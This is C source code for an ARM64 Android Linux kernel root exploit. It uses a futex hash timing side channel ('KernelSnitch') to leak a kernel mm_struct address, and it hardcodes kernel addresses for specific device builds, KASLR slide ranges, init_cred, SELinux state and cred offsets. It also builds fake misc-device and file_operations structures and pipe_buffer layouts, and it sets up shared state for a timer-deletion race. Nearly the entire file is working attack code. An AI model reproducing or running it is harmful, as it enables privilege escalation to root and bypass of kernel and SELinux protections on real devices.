1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #define _GNU_SOURCE
#include <ctype.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/capability.h>
#include <linux/futex.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysmacros.h>
#include <sys/system_properties.h>
#include <sys/timerfd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define MM_OBJECT_BYTES 1280UL
#define MM_SLAB_BYTES 0x8000
#define DIRECT_MAP_BEGIN UINT64_C(0xffffff8000000000)
#define DIRECT_MAP_END UINT64_C(0xffffff9000000000)
#define COARSE_BYTES (UINT64_C(1) << 30)
#define FUTEX_MAP_BYTES (UINT64_C(64) << 30)
#define COLLISION_GOAL 8
#define PILE_WAITERS 4096
#define MEASUREMENTS 128
#define LOW_SAMPLES 8
#define THRESHOLD_MULTIPLIER 10
struct hash_key {
uint64_t mm;
uint64_t address;
uint32_t offset;
uint32_t padding;
};
struct kernelsnitch_state {
atomic_int pile_started;
atomic_int found;
atomic_int collisions_ready;
uint64_t mm_address;
uint64_t collision_addresses[COLLISION_GOAL];
uint32_t hash_size;
uint32_t collision_count;
};
struct pile_arg {
struct kernelsnitch_state *shared;
uint32_t *word;
};
struct scan_arg {
struct kernelsnitch_state *shared;
uint64_t begin;
uint64_t end;
int index;
};
static unsigned char *futex_map;
static void die(const char *what);
static inline uint32_t rotate_left32(uint32_t value, unsigned int bits) {
return (value << (bits & 31)) | (value >> ((-bits) & 31));
}
static uint32_t jenkins_hash4(const uint32_t words[4], uint32_t seed) {
uint32_t a = UINT32_C(0xdeadbeef) + 16 + seed;
uint32_t b = a;
uint32_t c = a;
a += words[0];
b += words[1];
c += words[2];
a -= c;
a ^= rotate_left32(c, 4);
c += b;
b -= a;
b ^= rotate_left32(a, 6);
a += c;
c -= b;
c ^= rotate_left32(b, 8);
b += a;
a -= c;
a ^= rotate_left32(c, 16);
c += b;
b -= a;
b ^= rotate_left32(a, 19);
a += c;
c -= b;
c ^= rotate_left32(b, 4);
b += a;
a += words[3];
c ^= b;
c -= rotate_left32(b, 14);
a ^= c;
a -= rotate_left32(c, 11);
b ^= a;
b -= rotate_left32(a, 25);
c ^= b;
c -= rotate_left32(b, 16);
a ^= c;
a -= rotate_left32(c, 4);
b ^= a;
b -= rotate_left32(a, 14);
c ^= b;
c -= rotate_left32(b, 24);
return c;
}
static uint32_t modeled_futex_bucket(uint64_t user_address, uint64_t mm_address,
uint32_t hash_size) {
struct hash_key key = {
.mm = mm_address,
.address = user_address & ~(0x1000 - 1),
.offset = user_address & (0x1000 - 1),
};
uint32_t words[4];
memcpy(words, &key, sizeof(words));
return jenkins_hash4(words, key.offset) & (hash_size - 1);
}
static inline uint64_t virtual_counter(void) {
uint64_t value;
asm volatile("isb\n\tmrs %0, cntvct_el0\n\tisb" : "=r"(value) : : "memory");
return value;
}
static int compare_u64(const void *left, const void *right) {
uint64_t a = *(const uint64_t *)left;
uint64_t b = *(const uint64_t *)right;
return (a > b) - (a < b);
}
static uint64_t measure_empty_wake(uint32_t *word) {
uint64_t samples[MEASUREMENTS];
uint64_t total = 0;
for (int i = 0; i < MEASUREMENTS; i++) {
sched_yield();
uint64_t begin = virtual_counter();
syscall(SYS_futex, word, FUTEX_WAKE_PRIVATE, 0, NULL, NULL, 0);
samples[i] = virtual_counter() - begin;
}
qsort(samples, MEASUREMENTS, sizeof(samples[0]), compare_u64);
for (int i = 0; i < LOW_SAMPLES; i++)
total += samples[i];
return total / LOW_SAMPLES;
}
static void *pile_waiter(void *opaque) {
struct pile_arg *arg = opaque;
struct kernelsnitch_state *shared = arg->shared;
uint32_t *word = arg->word;
free(arg);
atomic_fetch_add_explicit(&shared->pile_started, 1, memory_order_release);
syscall(SYS_futex, word, FUTEX_WAIT_PRIVATE, 0, NULL, NULL, 0);
return NULL;
}
static int build_timing_collisions(struct kernelsnitch_state *shared) {
pthread_attr_t attributes;
uint32_t *pile_word = (uint32_t *)((unsigned char *)shared + 512);
uint32_t found = 1;
int created = 0;
shared->collision_addresses[0] = (uint64_t)(uintptr_t)pile_word;
if (pthread_attr_init(&attributes))
return -1;
pthread_attr_setstacksize(&attributes, 64 * 1024);
for (int i = 0; i < PILE_WAITERS; i++) {
struct pile_arg *arg = calloc(1, sizeof(*arg));
pthread_t thread;
if (!arg)
break;
arg->shared = shared;
arg->word = pile_word;
if (pthread_create(&thread, &attributes, pile_waiter, arg)) {
free(arg);
break;
}
pthread_detach(thread);
created++;
}
pthread_attr_destroy(&attributes);
for (int i = 0; i < 5000; i++) {
if (atomic_load_explicit(&shared->pile_started, memory_order_acquire) == created)
break;
usleep(1000);
}
usleep(100000);
if (created < PILE_WAITERS * 3 / 4) {
printf("KS_PILE_FAIL created=%d started=%d\n", created,
atomic_load_explicit(&shared->pile_started, memory_order_relaxed));
return -1;
}
uint64_t baseline_a = measure_empty_wake((uint32_t *)(futex_map + 0x1000));
uint64_t baseline_b = measure_empty_wake((uint32_t *)(futex_map + 2 * 0x1000 + 8));
uint64_t threshold = (baseline_a < baseline_b ? baseline_a : baseline_b) * THRESHOLD_MULTIPLIER;
uint64_t candidate_count = (uint64_t)shared->hash_size * COLLISION_GOAL * 4;
for (int i = 2; (uint64_t)i < candidate_count && found < COLLISION_GOAL; i++) {
uint64_t index = (uint64_t)i * 0x1000 + ((uint64_t)i * 8 & (0x1000 - 1));
uint32_t *candidate = (uint32_t *)(futex_map + index);
if (measure_empty_wake(candidate) > threshold)
shared->collision_addresses[found++] = (uint64_t)(uintptr_t)candidate;
}
shared->collision_count = found;
atomic_store_explicit(&shared->collisions_ready, 1, memory_order_release);
printf("KS_COLLISIONS pile=%d baseline=%llu/%llu threshold=%llu "
"found=%u/%u\n",
created, (unsigned long long)baseline_a, (unsigned long long)baseline_b,
(unsigned long long)threshold, found, COLLISION_GOAL);
return found == COLLISION_GOAL ? 0 : -1;
}
static void *scan_direct_map(void *opaque) {
struct scan_arg *arg = opaque;
struct kernelsnitch_state *shared = arg->shared;
for (uint64_t slab = arg->begin; slab < arg->end; slab += MM_SLAB_BYTES) {
if (atomic_load_explicit(&shared->found, memory_order_acquire))
break;
for (uint64_t address = slab; address + MM_OBJECT_BYTES <= slab + MM_SLAB_BYTES;
address += MM_OBJECT_BYTES) {
int matches = 1;
uint32_t bucket =
modeled_futex_bucket(shared->collision_addresses[0], address, shared->hash_size);
for (uint32_t i = 1; i < shared->collision_count; i++) {
if (modeled_futex_bucket(shared->collision_addresses[i], address,
shared->hash_size) != bucket) {
matches = 0;
break;
}
}
if (matches) {
if (!atomic_exchange_explicit(&shared->found, 1, memory_order_acq_rel))
shared->mm_address = address;
break;
}
}
}
printf("KS_SCAN_DONE worker=%d found=%d\n", arg->index,
atomic_load_explicit(&shared->found, memory_order_relaxed));
return NULL;
}
static uint64_t recover_mm_address(struct kernelsnitch_state *shared, int workers) {
pthread_t *threads = calloc((size_t)workers, sizeof(*threads));
struct scan_arg *arguments = calloc((size_t)workers, sizeof(*arguments));
uint64_t range = (DIRECT_MAP_END - DIRECT_MAP_BEGIN) / workers;
if (!threads || !arguments)
die("calloc scan workers");
for (int i = 0; i < workers; i++) {
arguments[i].shared = shared;
arguments[i].begin = DIRECT_MAP_BEGIN + range * (uint64_t)i;
arguments[i].end =
i == workers - 1 ? DIRECT_MAP_END : DIRECT_MAP_BEGIN + range * (uint64_t)(i + 1);
arguments[i].begin &= ~(COARSE_BYTES - 1);
arguments[i].end = (arguments[i].end + COARSE_BYTES - 1) & ~(COARSE_BYTES - 1);
arguments[i].index = i;
if (pthread_create(&threads[i], NULL, scan_direct_map, &arguments[i]))
die("pthread_create scan");
}
for (int i = 0; i < workers; i++)
pthread_join(threads[i], NULL);
free(arguments);
free(threads);
return shared->mm_address;
}
#define ARRAY_SIZE(array) (sizeof(array) / sizeof((array)[0]))
#define CPUCLOCK_SCHED 2
#define ORDER1_SIZE 0x2000
#define CC_SKB_SEND_BYTES 32768
#define SPRAY_REPEATS 3
#define SPRAY_MARKER 0x6e
#define NEBUSEC_MAGIC UINT64_C(0x6e6562757365635f)
#define MAX_WORKERS 128
#define MAX_RACE_BATCH 16
#define MAX_EXEC_REPEATS 64
#define MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED (1U << 4)
/* Exact shared Frankel/Blazer 4K image link layout. */
#define LINK_IMAGE_BASE UINT64_C(0xffffffc080000000)
#define LINK_CYCLE_C UINT64_C(0xffffffc08212e958)
#define LINK_CYCLE_D UINT64_C(0xffffffc08212d5d0)
#define FRANKEL_DIRECT_BOOTID_PARENT UINT64_C(0xffffff8002449460)
#define FRANKEL_DIRECT_CYCLE_C UINT64_C(0xffffff800232e958)
#define BLAZER_DIRECT_BOOTID_PARENT UINT64_C(0xffffff8002249460)
#define BLAZER_DIRECT_CYCLE_C UINT64_C(0xffffff800212e958)
#define LINK_MISC_LIST UINT64_C(0xffffffc082249560)
#define LINK_SYSCTL_BOOTID UINT64_C(0xffffffc08238b2d8)
#define LINK_UHID_MISC UINT64_C(0xffffffc082285f40)
#define LINK_UHID_FOPS UINT64_C(0xffffffc0812e8778)
#define LINK_ASHMEM_IOCTL UINT64_C(0xffffffc080c8d908)
#define LINK_ASHMEM_OPEN UINT64_C(0xffffffc080c8e238)
#define LINK_ASHMEM_RELEASE UINT64_C(0xffffffc080c8e2c0)
#define LINK_CONFIGFS_READ_ITER UINT64_C(0xffffffc080491eec)
#define LINK_CONFIGFS_BIN_WRITE_ITER UINT64_C(0xffffffc080492418)
#define LINK_MODULE_DIRECT_BASE UINT64_C(0xffffffc081683908)
#define LINK_MODULE_PLT_BASE UINT64_C(0xffffffc081683910)
#define LINK_MEMSTART_ADDR UINT64_C(0xffffffc081683928)
#define LINK_KIMAGE_VOFFSET UINT64_C(0xffffffc0816839e0)
#define LINK_KMALLOC_CACHES UINT64_C(0xffffffc081683db8)
#define LINK_ANON_PIPE_BUF_OPS UINT64_C(0xffffffc081176748)
#define LINK_INIT_TASK UINT64_C(0xffffffc08212e280)
#define LINK_INIT_CRED UINT64_C(0xffffffc082140748)
#define LINK_SELINUX_BLOB_SIZES UINT64_C(0xffffffc0816849b0)
#define LINK_SELINUX_STATE UINT64_C(0xffffffc08236a2e0)
#define LINK_SDATA UINT64_C(0xffffffc082110000)
#define LINK_END UINT64_C(0xffffffc0823b0000)
#define MODULE_DIRECT_SIZE UINT64_C(0x08000000)
#define MODULE_PLT_SIZE UINT64_C(0x80000000)
#define KASLR_SLIDE_MIN UINT64_C(0x1000000000)
#define KASLR_SLIDE_END UINT64_C(0x3000000000)
#define KASLR_ALIGN UINT64_C(0x200000)
#define UHID_PATH "/dev/uhid"
#define UHID_MINOR 239U
#define ASHMEM_NAME_LEN 256
#define ASHMEM_SET_NAME _IOW(0x77, 1, char[ASHMEM_NAME_LEN])
#define ASHMEM_NAME_PREFIX_LEN 11
#define ASHMEM_PREFIX_COUNT UINT64_C(0x6d6873612f766564)
#define CFG_PAGE_OFF 16
#define CFG_NEEDS_READ_FILL_OFF 80
#define CFG_BIN_BUFFER_OFF 88
#define CFG_BIN_BUFFER_SIZE_OFF 96
#define CFG_CB_MAX_SIZE_OFF 100
#define FAKE_MISC_OFF UINT64_C(0x100)
#define FAKE_MISC_FOPS_OFF UINT64_C(0x10)
#define FAKE_MISC_LIST_OFF UINT64_C(0x18)
#define FAKE_MISC_PARENT_OFF UINT64_C(0x28)
#define FAKE_MISC_RECORD_STRIDE UINT64_C(0x58)
#define FAKE_MISC_CLASSES 11
#define FAKE_MISC_SLOTS 31
#define FAKE_CPU_TIMER_FIRST_OFF 0x78
#define FAKE_CPU_TIMER_STRIDE 0x108
#define FAKE_MISC_RECORDS (FAKE_MISC_CLASSES * FAKE_MISC_SLOTS)
#define FAKE_MISC_LEAF_DELTA UINT64_C(0x30)
#define FAKE_CPU_TIMER_EXPIRES_OFF 0x18
#define FAKE_FOPS_OFF UINT64_C(0x7640)
#define BRIDGE_SCRATCH_OFF UINT64_C(0x7700)
#define FOPS_READ_ITER_OFF 0x20
#define FOPS_WRITE_ITER_OFF 0x28
#define FOPS_UNLOCKED_IOCTL_OFF 0x48
#define FOPS_OPEN_OFF 0x68
#define FOPS_RELEASE_OFF 0x78
#define MISC_LIST_LIMIT 4096
#define MISC_MINOR_MAX UINT32_C(0xfffff)
#define DP_VMEMMAP_START UINT64_C(0xfffffffe00000000)
#define DP_STRUCT_PAGE_SIZE UINT64_C(0x40)
#define DP_PAGE_FLAGS_OFF UINT64_C(0x0)
#define DP_PAGE_COMPOUND_HEAD_OFF UINT64_C(0x8)
#define DP_PAGE_SLAB_CACHE_OFF UINT64_C(0x8)
#define DP_PG_HEAD 6
#define DP_PG_SLAB 11
#define DP_KMALLOC_CG8K_SLOT_OFF UINT64_C(0x148)
#define DP_PIPE_SMALL_BYTES 0x2000
#define DP_PIPE_LARGE_BYTES 0x80000
#define DP_PIPE_OBJECT_BYTES UINT64_C(0x2000)
#define DP_PIPE_DRAIN_COUNT 40
#define DP_PIPE_RECLAIM_MAX 80
#define DP_PIPE_MARKER_BASE 0x100U
#define DP_PIPE_BUF_CAN_MERGE 0x10U
#define DP_PHYS_PROOF_OFF UINT64_C(0x6ffc)
#define DP_TASK_COMM_OFF UINT64_C(0x830)
#define DP_TASK_COMM_LEN 16
#define DP_TASK_TASKS_OFF UINT64_C(0x550)
#define DP_TASK_PID_OFF UINT64_C(0x618)
#define DP_TASK_TGID_OFF UINT64_C(0x61c)
#define DP_TASK_GROUP_LEADER_OFF UINT64_C(0x658)
#define DP_TASK_REAL_CRED_OFF UINT64_C(0x818)
#define DP_TASK_CRED_OFF UINT64_C(0x820)
#define DP_TASK_SCAN_SIZE (DP_TASK_COMM_OFF + DP_TASK_COMM_LEN - DP_TASK_TASKS_OFF)
#define DP_TASK_SCAN_LIMIT 32768
#define DP_TASK_STABLE_READS 3
#define DP_TASK_SCAN_PASSES 3
#define DP_TASK_SCAN_RETRIES 8
#define DP_VISITED_CAP 65536
#define DP_CRED_SIZE 0xb8
#define DP_CRED_SECURITY_OFF 0x80
#define DP_CRED_USAGE_OFF 0x0
#define DP_CRED_IDS_OFF 0x8
#define DP_CRED_SECUREBITS_OFF 0x28
#define DP_CRED_CAP_INHERITABLE_OFF 0x30
#define DP_CRED_CAP_PERMITTED_OFF 0x38
#define DP_CRED_CAP_EFFECTIVE_OFF 0x40
#define DP_CRED_CAP_BSET_OFF 0x48
#define DP_CRED_CAP_AMBIENT_OFF 0x50
#define DP_CRED_USER_OFF 0x88
#define DP_CRED_USER_NS_OFF 0x90
#define DP_CRED_UCOUNTS_OFF 0x98
#define DP_CRED_GROUP_INFO_OFF 0xa0
#define DP_SELINUX_CRED_SIZE 0x18
#define DP_FULL_CAP_MASK ((UINT64_C(1) << 41) - 1)
struct dp_pipe_buffer {
uint64_t page;
uint32_t offset;
uint32_t length;
uint64_t ops;
uint32_t flags;
uint32_t padding;
uint64_t private;
};
_Static_assert(sizeof(struct dp_pipe_buffer) == 0x28, "unexpected pipe_buffer layout");
_Static_assert(ATOMIC_INT_LOCK_FREE == 2,
"cross-process root synchronization requires lock-free atomics");
struct shared_state {
atomic_int victim_ready;
atomic_int victim_cpu;
atomic_int delete_go;
atomic_int deleted;
atomic_int delete_errors;
atomic_int delete_errno;
atomic_int create_errno;
atomic_int exec_after_deleted;
atomic_long exec_delay_ns;
atomic_llong delete_go_ns;
atomic_llong delete_seen_min_ns;
atomic_llong delete_seen_max_ns;
atomic_llong delete_threshold_ns;
atomic_llong victim_threshold_ns;
atomic_llong exec_call_ns;
};
struct victim_arg {
struct shared_state *shared;
int exec_ack_fd;
};
struct exec_ack {
int64_t timestamp_ns;
int32_t generation;
int32_t total;
int32_t caller_pid;
int32_t caller_tid;
int32_t caller_cpu;
int32_t current_pid;
int32_t current_tid;
int32_t current_cpu;
};
struct repeat_exec_arg {
int ack_fd;
int generation;
int total;
};
struct delete_state {
struct shared_state *shared;
int *timer_ids;
int timer_count;
atomic_int worker_serial;
atomic_int ready_workers;
atomic_uint observed_cpu_mask;
atomic_int irq_count;
atomic_int irq_arm_go;
atomic_int irq_armed;
atomic_llong irq_target_ns;
int worker_count;
int *irq_fds;
};
struct prime_state {
struct shared_state *shared;
atomic_int ready;
atomic_int start;
atomic_llong begin_ns;
atomic_llong end_ns;
};
|
